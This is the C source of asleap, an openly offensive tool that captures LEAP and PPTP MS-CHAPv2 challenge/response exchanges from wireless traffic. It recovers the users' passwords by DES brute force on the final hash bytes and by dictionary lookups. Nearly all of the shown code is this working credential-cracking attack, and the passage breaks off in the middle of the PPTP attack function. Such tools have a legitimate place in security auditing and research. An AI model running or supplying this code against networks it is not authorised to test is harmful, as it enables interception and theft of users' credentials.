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asleap.c
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asleap.c
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/*
* asleap - actively recover weak LEAP passwords. Pronounced "asleep".
*
* Copyright (c) 2004, Joshua Wright <jwright@hasborg.com>
*
* $Id: asleap.c,v 1.30 2007/05/10 19:29:06 jwright Exp $
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation. See COPYING for more
* details.
*
* asleap is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
/*
* Significant code is graciously taken from the following:
* MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg
* AirJack drivers by Abaddon.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <ctype.h>
#include <sys/ioctl.h>
#include <net/ethernet.h>
#include <pcap/bpf.h>
#include <sys/types.h>
#include <pcap/pcap.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <linux/wireless.h>
#include "asleap.h"
#include "utils.h"
#include "common.h"
#include "version.h"
#include "sha1.h"
#include "radiotap.h"
#include "byteswap.h"
#include "ieee80211.h"
#include "ieee8021x.h"
#include "ietfproto.h"
#define SNAPLEN 2312
#define PROMISC 1
#define TIMEOUT 500 /* for pcap */
#define PROGNAME "asleap"
#define IPPROTO_GRE 47
/* Globals */
pcap_t *p = NULL;
u_char *packet;
struct pcap_pkthdr h;
char errbuf[PCAP_ERRBUF_SIZE];
int success = 0; /* For return status of attack */
unsigned long pcount=0;
/* prototypes */
void usage(char *message);
void cleanup();
void print_leapexch(struct asleap_data *asleap_ptr);
void print_hashlast2(struct asleap_data *asleap_ptr);
void print_leappw(struct asleap_data *asleap_ptr);
int gethashlast2(struct asleap_data *asleap_ptr);
int getmschappw(struct asleap_data *asleap_ptr);
int getpacket(pcap_t *p);
int listdevs();
int testleapchal(struct asleap_data *asleap_ptr, int plen, int offset);
int testleapsuccess(struct asleap_data *asleap_ptr, int plen, int offset);
int testleapresp(struct asleap_data *asleap_ptr, int plen, int offset);
int findlpexch(struct asleap_data *asleap_ptr, int timeout, int offset);
void asleap_reset(struct asleap_data *asleap);
int stripname(char *name, char *stripname, int snamelen, char delim);
int attack_leap(struct asleap_data *asleap);
int attack_pptp(struct asleap_data *asleap);
int testpptpchal(struct asleap_data *asleap_ptr, int plen, int offset);
int testpptpresp(struct asleap_data *asleap_ptr, int plen, int offset);
int testpptpsuccess(struct asleap_data *asleap_ptr, int plen, int offset);
void genchalhash(struct asleap_data *asleap);
int stripname(char *name, char *stripname, int snamelen, char delim)
{
char *loc;
if (name == NULL)
return -1;
loc = strchr(name, delim);
if (loc == NULL) {
strncpy(stripname, name, snamelen);
return (1);
} else {
++loc;
strncpy(stripname, loc, snamelen);
return (0);
}
}
/* Program usage. */
void usage(char *message)
{
if (strlen(message) > 0) {
printf("%s: %s\n", PROGNAME, message);
}
printf("Usage: %s [options]\n", PROGNAME);
printf("\n"
"\t-r \tRead from a libpcap file\n"
"\t-i \tInterface to capture on\n"
"\t-f \tDictionary file with NT hashes\n"
"\t-n \tIndex file for NT hashes\n"
"\t-s \tSkip the check to make sure authentication was successful\n"
"\t-h \tOutput this help information and exit\n"
"\t-v \tPrint verbose information (more -v for more verbosity)\n"
"\t-V \tPrint program version and exit\n"
"\t-C \tChallenge value in colon-delimited bytes\n"
"\t-R \tResponse value in colon-delimited bytes\n"
"\t-W \tASCII dictionary file (special purpose)\n" "\n");
}
void print_pptpexch(struct asleap_data *asleap_ptr)
{
int j;
printf("\tusername: ");
if (IsBlank(asleap_ptr->username)) {
printf("no username");
} else {
printf("%s\n", asleap_ptr->username);
}
printf("\tauth challenge: ");
if (asleap_ptr->pptpauthchal == NULL) {
printf("no challenge");
} else {
for (j = 0; j < 16; j++)
printf("%02x", asleap_ptr->pptpauthchal[j]);
}
printf("\n");
printf("\tpeer challenge: ");
if (asleap_ptr->pptppeerchal == NULL) {
printf("no challenge");
} else {
for (j = 0; j < 16; j++)
printf("%02x", asleap_ptr->pptppeerchal[j]);
}
printf("\n");
printf("\tpeer response: ");
if (asleap_ptr->response == NULL) {
printf("no response");
} else {
for (j = 0; j < 24; j++) {
printf("%02x", asleap_ptr->response[j]);
}
}
printf("\n");
}
void print_leapexch(struct asleap_data *asleap_ptr)
{
int j;
printf("\tusername: ");
if (IsBlank(asleap_ptr->username)) {
printf("no username");
} else {
printf("%s\n", asleap_ptr->username);
}
printf("\tchallenge: ");
if (asleap_ptr->challenge == NULL) {
printf("no challenge");
} else {
for (j = 0; j < 8; j++)
printf("%02x", asleap_ptr->challenge[j]);
}
printf("\n");
printf("\tresponse: ");
if (asleap_ptr->response == NULL) {
printf("no response");
} else {
for (j = 0; j < 24; j++) {
printf("%02x", asleap_ptr->response[j]);
}
}
printf("\n");
}
void print_hashlast2(struct asleap_data *asleap_ptr)
{
printf("\thash bytes: ");
if (asleap_ptr->endofhash[0] == 0 && asleap_ptr->endofhash[1] == 0) {
printf("no NT hash ending known.");
} else {
printf("%02x%02x", asleap_ptr->endofhash[0],
asleap_ptr->endofhash[1]);
}
printf("\n");
}
void print_leappw(struct asleap_data *asleap_ptr)
{
int j;
printf("\tNT hash: ");
/* Test the first 4 bytes of the NT hash for 0's. A nthash with 4
leading 0's is unlikely, a match indicates a unused field */
if (asleap_ptr->nthash[0] == 0 && asleap_ptr->nthash[1] == 0 &&
asleap_ptr->nthash[2] == 0 && asleap_ptr->nthash[3] == 0) {
printf("no matching NT hash was found.");
} else {
for (j = 0; j < 16; j++) {
printf("%02x", asleap_ptr->nthash[j]);
}
}
printf("\n");
printf("\tpassword: ");
if (IsBlank(asleap_ptr->password)) {
printf("no matching password was found.");
} else {
printf("%s", asleap_ptr->password);
}
printf("\n");
}
void cleanup()
{
if (p != NULL) {
printf("Closing pcap ...\n");
pcap_close(p);
}
if (success == 1) {
exit(0);
} else {
exit(-1);
}
}
int gethashlast2(struct asleap_data *asleap_ptr)
{
int i;
unsigned char zpwhash[7] = { 0, 0, 0, 0, 0, 0, 0 };
unsigned char cipher[8];
for (i = 0; i <= 0xffff; i++) {
zpwhash[0] = i >> 8;
zpwhash[1] = i & 0xff;
DesEncrypt(asleap_ptr->challenge, zpwhash, cipher);
if (memcmp(cipher, asleap_ptr->response + 16, 8) == 0) {
/* Success in calculating the last 2 of the hash */
/* debug - printf("%2x%2x\n", zpwhash[0], zpwhash[1]); */
asleap_ptr->endofhash[0] = zpwhash[0];
asleap_ptr->endofhash[1] = zpwhash[1];
return 0;
}
}
return (1);
}
/* Accepts the populated asleap_data structure with the challenge and
response text, and our guess at the full 16-byte hash (zpwhash). Returns 1
if the hash does not match, 0 if it does match. */
int testchal(struct asleap_data *asleap_ptr, unsigned char *zpwhash)
{
unsigned char cipher[8];
DesEncrypt(asleap_ptr->challenge, zpwhash, cipher);
if (memcmp(cipher, asleap_ptr->response, 8) != 0)
return (1);
DesEncrypt(asleap_ptr->challenge, zpwhash + 7, cipher);
if (memcmp(cipher, asleap_ptr->response + 8, 8) != 0)
return (1);
/* else - we have a match */
return (0);
}
/* Use a supplied dictionary file instead of the hash table and index file */
int getmschapbrute(struct asleap_data *asleap_ptr)
{
FILE *wordlist;
char password[MAX_NT_PASSWORD + 1];
unsigned char pwhash[MD4_SIGNATURE_SIZE];
unsigned long long count = 0;
if (*asleap_ptr->wordfile == '-') {
wordlist = stdin;
} else {
if ((wordlist = fopen(asleap_ptr->wordfile, "rb")) == NULL) {
perror("fopen");
return -1;
}
}
while (!feof(wordlist)) {
fgets(password, MAX_NT_PASSWORD + 1, wordlist);
/* Remove newline */
password[strlen(password) - 1] = 0;
NtPasswordHash(password, strlen(password), pwhash);
count++;
if ((count % 500000) == 0) {
printf("\033[K\r");
printf(" Testing %lld: %s\r", count, password);
fflush(stdout);
}
if (pwhash[14] != asleap_ptr->endofhash[0] ||
pwhash[15] != asleap_ptr->endofhash[1])
continue;
if (testchal(asleap_ptr, pwhash) == 0) {
/* Found a matching password! w00t! */
memcpy(asleap_ptr->nthash, pwhash, 16);
strncpy(asleap_ptr->password, password,
strlen(password));
fclose(wordlist);
return (1);
}
}
return 0;
}
/* Brute-force all the matching NT hashes to discover the clear-text password */
int getmschappw(struct asleap_data *asleap_ptr)
{
unsigned char zpwhash[16] =
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
struct hashpass_rec rec;
struct hashpassidx_rec idxrec;
char password_buf[MAX_NT_PASSWORD];
int passlen, recordlength, passwordlen, i;
FILE *buffp, *idxfp;
/* If the user passed an index file for our reference, fseek to
map the file and perform lookups based on indexed offsets.
If there is no index file, perform a linear search.
*/
if (IsBlank(asleap_ptr->dictidx)) {
/* We have no index file. Do a linear search */
if ((buffp = fopen(asleap_ptr->dictfile, "rb")) == NULL) {
perror("[getmschappw] fopen");
return (-1);
}
fflush(stdout);
while (!feof(buffp)) {
memset(&rec, 0, sizeof(rec));
memset(&password_buf, 0, sizeof(password_buf));
memset(&zpwhash, 0, sizeof(zpwhash));
fread(&rec.rec_size, sizeof(rec.rec_size), 1, buffp);
recordlength = abs(rec.rec_size);
passlen = (recordlength - (17));
fread(&password_buf, passlen, 1, buffp);
fread(&zpwhash, 16, 1, buffp);
/* Test last 2 characters of NT hash value of the current entry in the
dictionary file. If the 2 bytes of the NT hash don't
match the calculated value that we store in asleap.endofhash, then
this NT hash isn't a potential match. Move on to the next entry. */
if (zpwhash[14] != asleap_ptr->endofhash[0] ||
zpwhash[15] != asleap_ptr->endofhash[1]) {
/* last 2 bytes of hash don't match - continue */
continue;
}
/* With a potential match, test with this challenge */
if (testchal(asleap_ptr, zpwhash) == 0) {
/* Found a matching password! Store in the asleap_ptr struct */
memcpy(asleap_ptr->nthash, zpwhash, 16);
strncpy(asleap_ptr->password, password_buf,
strlen(password_buf));
fclose(buffp);
return (1);
}
}
/* Could not find a matching NT hash */
fclose(buffp);
} else { /* Use referenced index file for hash searches */
memset(&idxrec, 0, sizeof(idxrec));
if ((idxfp = fopen(asleap_ptr->dictidx, "rb")) == NULL) {
perror("[getmschappw] Cannot open index file");
return (-1);
}
/* Open the file with a buffered file handle */
if ((buffp = fopen(asleap_ptr->dictfile, "rb")) == NULL) {
perror("[getmschappw] fopen");
return (-1);
}
/* Read through the index file until we find the entry that matches
our hash information */
while (idxrec.hashkey[0] != asleap_ptr->endofhash[0] ||
idxrec.hashkey[1] != asleap_ptr->endofhash[1]) {
if (fread(&idxrec, sizeof(idxrec), 1, idxfp) != 1) {
/* Unsuccessful fread, or EOF */
printf("\tReached end of index file.\n");
fclose(idxfp);
fclose(buffp);
return (0);
}
}
/* The offset entry in the idxrec struct points to the first
hash+pass record in the hash+pass file that matches our offset. The
idxrec struct also tells us how many entries we can read from the
hash+pass file that match our hashkey information. Collect records
from the hash+pass file until we read through the number of records
in idxrec.numrec */
/* fseek to the correct offset in the file */
if (fseeko(buffp, idxrec.offset, SEEK_SET) < 0) {
perror("[getmschappw] fread");
fclose(buffp);
fclose(idxfp);
return (-1);
}
for (i = 0; i < idxrec.numrec; i++) {
memset(&rec, 0, sizeof(rec));
memset(&password_buf, 0, sizeof(password_buf));
fread(&rec.rec_size, sizeof(rec.rec_size), 1, buffp);
/* The length of the password is the record size, 16 for the hash,
1 for the record length byte. */
passwordlen = rec.rec_size - 17;
/* Check for corrupt data conditions, prevent segfault */
if (passwordlen > MAX_NT_PASSWORD) {
fprintf(stderr,
"Reported password length (%d) is longer than "
"the max password length (%d).\n",
passwordlen, MAX_NT_PASSWORD);
return (-1);
}
/* Gather the clear-text password from the dict+hash file,
then grab the 16 byte hash */
fread(&password_buf, passwordlen, 1, buffp);
fread(&zpwhash, sizeof(zpwhash), 1, buffp);
/* Test the challenge and compare to our hash */
if (testchal(asleap_ptr, zpwhash) == 0) {
/* Found a matching password! Store in the asleap_ptr struct */
memcpy(asleap_ptr->nthash, zpwhash, 16);
strncpy(asleap_ptr->password, password_buf,
strlen(password_buf));
fclose(buffp);
fclose(idxfp);
/* success */
return (1);
}
}
/* Could not find a match - bummer */
fclose(buffp);
fclose(idxfp);
}
return (0);
}
/* Examine the packet contents of packet, return an offset number of bytes to
the beginning of the EAP frame contents, if present, otherwise return -1 */
int geteapoffset(u_char *packet, int plen, int offset)
{
struct ieee80211 *dot11;
struct ieee8022 *dot2;
struct ieee8021x *dot1x;
struct eap_hdr *eap;
dot11 = (struct ieee80211 *)(packet+offset);
offset += DOT11HDR_A3_LEN;
plen -= DOT11HDR_A3_LEN;
if (plen <= 0) {
return -1;
}
/* Discard ad-hoc and WDS */
if (dot11->u1.fc.from_ds == 1 && dot11->u1.fc.to_ds == 1) {
return -1;
}
if (dot11->u1.fc.from_ds == 0 && dot11->u1.fc.to_ds == 0) {
return -1;
}
if (dot11->u1.fc.type != DOT11_FC_TYPE_DATA) {
return -1;
}
/* Ensure valid data type */
switch(dot11->u1.fc.subtype) {
case DOT11_FC_SUBTYPE_DATA:
break;
case DOT11_FC_SUBTYPE_QOSDATA:
offset += DOT11HDR_QOS_LEN;
plen -= DOT11HDR_QOS_LEN;
break;
default:
return -1;
}
if (plen <= 0) {
return -1;
}
dot2 = (struct ieee8022 *)(packet+offset);
offset += DOT2HDR_LEN;
plen -= DOT2HDR_LEN;
if (plen <= 0) {
return -1;
}
if (dot2->dsap != IEEE8022_SNAP || dot2->ssap != IEEE8022_SNAP) {
return -1;
}
if (ntohs(dot2->type) != IEEE8022_TYPE_DOT1X) {
return -1;
}
dot1x = (struct ieee8021x *)(packet+offset);
offset += DOT1XHDR_LEN;
plen -= DOT1XHDR_LEN;
if (plen <= 0) {
return -1;
}
if (dot1x->version != DOT1X_VERSION) {
return -1;
}
if (dot1x->type != DOT1X_TYPE_EAP) {
return -1;
}
/* If the dot1x length field is larger than the remaining packet
* contents, bail.
*/
if (ntohs(dot1x->len) > (plen)) {
return -1;
}
/* If the dot1x length field is smaller than the minimum EAP header
* size, bail.
*/
if (ntohs(dot1x->len) < EAPHDR_MIN_LEN) {
return -1;
}
eap = (struct eap_hdr *)(packet + offset);
plen -= EAPHDR_MIN_LEN;
/* don't update poffset as we want to point to begining of EAP header */
if (plen < 0) {
return -1;
}
/* 1=request, 2=response, 3=success, 4=failure */
if (eap->code < 1 || eap->code > 4) {
return -1;
}
/* EAP packet, return with offset to beginning of EAP data */
return offset;
}
/* Examine the packet contents of packet, return an offset number of bytes to
the beginning of the EAP frame contents, if present, otherwise return -1 */
int getpppchapoffset(u_char *packet, int plen, int offset)
{
struct ieee80211 *dot11;
struct ieee8022 *dot2;
struct iphdr *ip;
struct grehdr *gre;
struct ppphdr *ppp;
int iphdrlen;
dot11 = (struct ieee80211 *)(packet+offset);
offset += DOT11HDR_A3_LEN;
plen -= DOT11HDR_A3_LEN;
if (plen <= 0) {
return -1;
}
/* Discard ad-hoc and WDS */
if (dot11->u1.fc.from_ds == 1 && dot11->u1.fc.to_ds == 1) {
return -1;
}
if (dot11->u1.fc.from_ds == 0 && dot11->u1.fc.to_ds == 0) {
return -1;
}
if (dot11->u1.fc.type != DOT11_FC_TYPE_DATA) {
return -1;
}
/* Ensure valid data type */
switch(dot11->u1.fc.subtype) {
case DOT11_FC_SUBTYPE_DATA:
break;
case DOT11_FC_SUBTYPE_QOSDATA:
offset += DOT11HDR_QOS_LEN;
plen -= DOT11HDR_QOS_LEN;
break;
default:
return -1;
}
if (plen <= 0) {
return -1;
}
/* IEEE 802.2 header parsing */
dot2 = (struct ieee8022 *)(packet+offset);
offset += DOT2HDR_LEN;
plen -= DOT2HDR_LEN;
if (plen <= 0) {
return -1;
}
if (dot2->dsap != IEEE8022_SNAP || dot2->ssap != IEEE8022_SNAP) {
return -1;
}
if (ntohs(dot2->type) != IEEE8022_TYPE_IP) {
return -1;
}
/* IP Header parsing */
/* Test for at least 4 bytes in IP header for HDR LEN */
if (plen < 4) {
return -1;
}
ip = (struct iphdr *)(packet + offset);
/* Header length is represented in 32-bit words */
iphdrlen = ((ip->ver_hlen & 0x0f) * 4);
if (iphdrlen < IPHDR_MIN_LEN || iphdrlen > IPHDR_MAX_LEN) {
return -1;
}
offset += iphdrlen;
plen -= iphdrlen;
if (ip->proto != IPPROTO_GRE) {
return -1;
}
/* GRE Header parsing */
gre = (struct grehdr *)(packet+offset);
offset += GREHDR_MIN_LEN;
plen -= GREHDR_MIN_LEN;
if (plen < 0) {
return -1;
}
if (ntohs(gre->type) != GREPROTO_PPP) {
return -1;
}
/* Length of the GRE header is variable based on the flags field
settings for sequence and ack numbers. */
if (gre->flags & GRE_FLAG_SYNSET) {
plen -= 4;
offset += 4;
}
if (gre->flags & GRE_FLAG_ACKSET) {
plen -= 4;
offset += 4;
}
/* PPP Header parsing */
ppp = (struct ppphdr *)(packet+offset);
offset += PPPHDR_LEN;
plen -= PPPHDR_LEN;
if (plen <= 0) {
return -1;
}
if (ntohs(ppp->proto) != PPPPROTO_CHAP) {
return -1;
}
/* PPP CHAP Header follows */
return offset;
}
int findlpexch(struct asleap_data *asleap_ptr, int timeout, int offset)
{
struct timeval then, now;
int epochstart, elapsed, n, len;
int chapoffset, leapoffset;
gettimeofday(&then, NULL);
epochstart = ((then.tv_sec * 1000000) + then.tv_usec);
/* Start a while() loop that ends only when the timeout duration is
exceeded, or LEAP credentials are discovered. */
while (1) {
if ((asleap_ptr->leapchalfound && asleap_ptr->leaprespfound &&
asleap_ptr->leapsuccessfound))
return LEAPEXCHFOUND;
if ((asleap_ptr->pptpchalfound && asleap_ptr->pptprespfound &&
asleap_ptr->pptpsuccessfound))
return PPTPEXCHFOUND;
/* Test for out timeout condition */
if (timeout != 0) {
gettimeofday(&now, NULL);
/* Get elapsed time, in seconds */
elapsed =
((((now.tv_sec * 1000000) + now.tv_usec) -
epochstart) / 1000000);
if (elapsed > timeout)
return LPEXCH_TIMEOUT;
}
/* Obtain a packet for analysis */
n = getpacket(p);
len = (h.len - offset);
/* Test to make sure we got something interesting */
if (n < 0) {
continue;
} else if (n == 1) {
if (asleap_ptr->verbose)
printf("Reached EOF on pcapfile.\n");
cleanup(); /* exits */
}
if (packet == NULL) {
continue;
}
if (asleap_ptr->verbose > 2) {
lamont_hdump((packet + offset), h.len - offset);
printf("\n");
}
/* Start new packet parser here */
leapoffset = geteapoffset(packet, len, offset);
if (leapoffset > 0) {
len -= leapoffset;
if (asleap_ptr->leapchalfound == 0
&& asleap_ptr->leaprespfound == 0) {
if (testleapchal(asleap_ptr, len, leapoffset)
== 0) {
asleap_ptr->leapchalfound = 1;
continue;
}
}
if (asleap_ptr->leapchalfound == 1
&& asleap_ptr->leaprespfound == 0) {
if (testleapresp(asleap_ptr, len, leapoffset)
== 0) {
asleap_ptr->leaprespfound = 1;
continue;
}
}
if (asleap_ptr->leapsuccessfound == 0
&& asleap_ptr->leapchalfound == 1
&& asleap_ptr->leaprespfound == 1) {
if (asleap_ptr->skipeapsuccess) {
asleap_ptr->leapsuccessfound = 1;
continue;
} else if (testleapsuccess(asleap_ptr, len,
leapoffset) == 0) {
asleap_ptr->leapsuccessfound = 1;
continue;
}
}
}
chapoffset = getpppchapoffset(packet, len, offset);
if (chapoffset > 0) {
if (asleap_ptr->pptpchalfound == 0
&& asleap_ptr->pptprespfound == 0) {
if (testpptpchal(asleap_ptr, len, chapoffset)
== 0) {
asleap_ptr->pptpchalfound = 1;
continue;
}
}
if (asleap_ptr->pptprespfound == 0
&& asleap_ptr->pptpchalfound == 1) {
if (testpptpresp(asleap_ptr, len, chapoffset)
== 0) {
asleap_ptr->pptprespfound = 1;
continue;
}
}
if (asleap_ptr->pptpsuccessfound == 0
&& asleap_ptr->pptpchalfound == 1
&& asleap_ptr->pptprespfound == 1) {
if (testpptpsuccess(asleap_ptr, len,
chapoffset) == 0) {
asleap_ptr->pptpsuccessfound = 1;
continue;
}
}
}
}
}
void genchalhash(struct asleap_data *asleap)
{
SHA1_CTX context;
unsigned char digest[SHA1_MAC_LEN];
char strippedname[256];
int j;
/* RFC2759 indicates a username "BIGCO\johndoe" must be stripped to
contain only the username for the purposes of generating the 8-byte
challenge. Section 4, */
stripname(asleap->username, strippedname, sizeof(strippedname), '\\');
SHA1Init(&context);
SHA1Update(&context, asleap->pptppeerchal, 16);
SHA1Update(&context, asleap->pptpauthchal, 16);
SHA1Update(&context, (uint8_t *)strippedname, strlen(strippedname));
SHA1Final(digest, &context);
memcpy(&asleap->challenge, digest, 8);
printf("\tchallenge: ");
for (j = 0; j < 8; j++)
printf("%02x", digest[j]);
printf("\n");
}
int attack_leap(struct asleap_data *asleap)
{
int getmschappwret = 0;
if (asleap->verbose)
printf("\tAttempting to recover last 2 of hash.\n");
if (gethashlast2(asleap)) {
printf("\tCould not recover last 2 bytes of hash from the\n");
printf("\tchallenge/response. Sorry it didn't work out.\n");
asleap_reset(asleap);
return -1;
} else {
print_hashlast2(asleap);
}
if (asleap->verbose)
printf("\tStarting dictionary lookups.\n");
if (!IsBlank(asleap->wordfile)) {
/* Attack MS-CHAP exchange with a straight dictionary list */
getmschappwret = getmschapbrute(asleap);
} else {
getmschappwret = getmschappw(asleap);
}
if (getmschappwret == 1) {
/* Success! Print password and hash info */
print_leappw(asleap);
return 0;
} else if (getmschappwret == 0) {
/* No matching hashes found */
printf("\tCould not find a matching NT hash. ");
printf("Try expanding your password list.\n");
printf("\tI've given up. Sorry it didn't work out.\n");
return 1;
} else {
/* Received an error */
printf("Experienced an error in getmschappw, returned %d.\n",
getmschappwret);
return -1;
}
return -1;
}
int attack_pptp(struct asleap_data *asleap)
{
int getmschappwret = 0;
if (asleap->verbose)
printf("\tAttempting to recover last 2 of hash.\n");
/* Generate the 8-byte hash from the auth chal, peer chal and
* login name */
genchalhash(asleap);
if (gethashlast2(asleap)) {
printf("\tCould not recover last 2 bytes of hash from the\n");
printf("\tchallenge/response. Sorry it didn't work out.\n");
asleap_reset(asleap);
return -1;
} else {
print_hashlast2(asleap);
}
if (asleap->verbose)
printf("\tStarting dictionary lookups.\n");
if (!IsBlank(asleap->wordfile)) {
/* Attack MS-CHAP exchange with a straight dictionary list */
getmschappwret = getmschapbrute(asleap);
} else {
getmschappwret = getmschappw(asleap);
}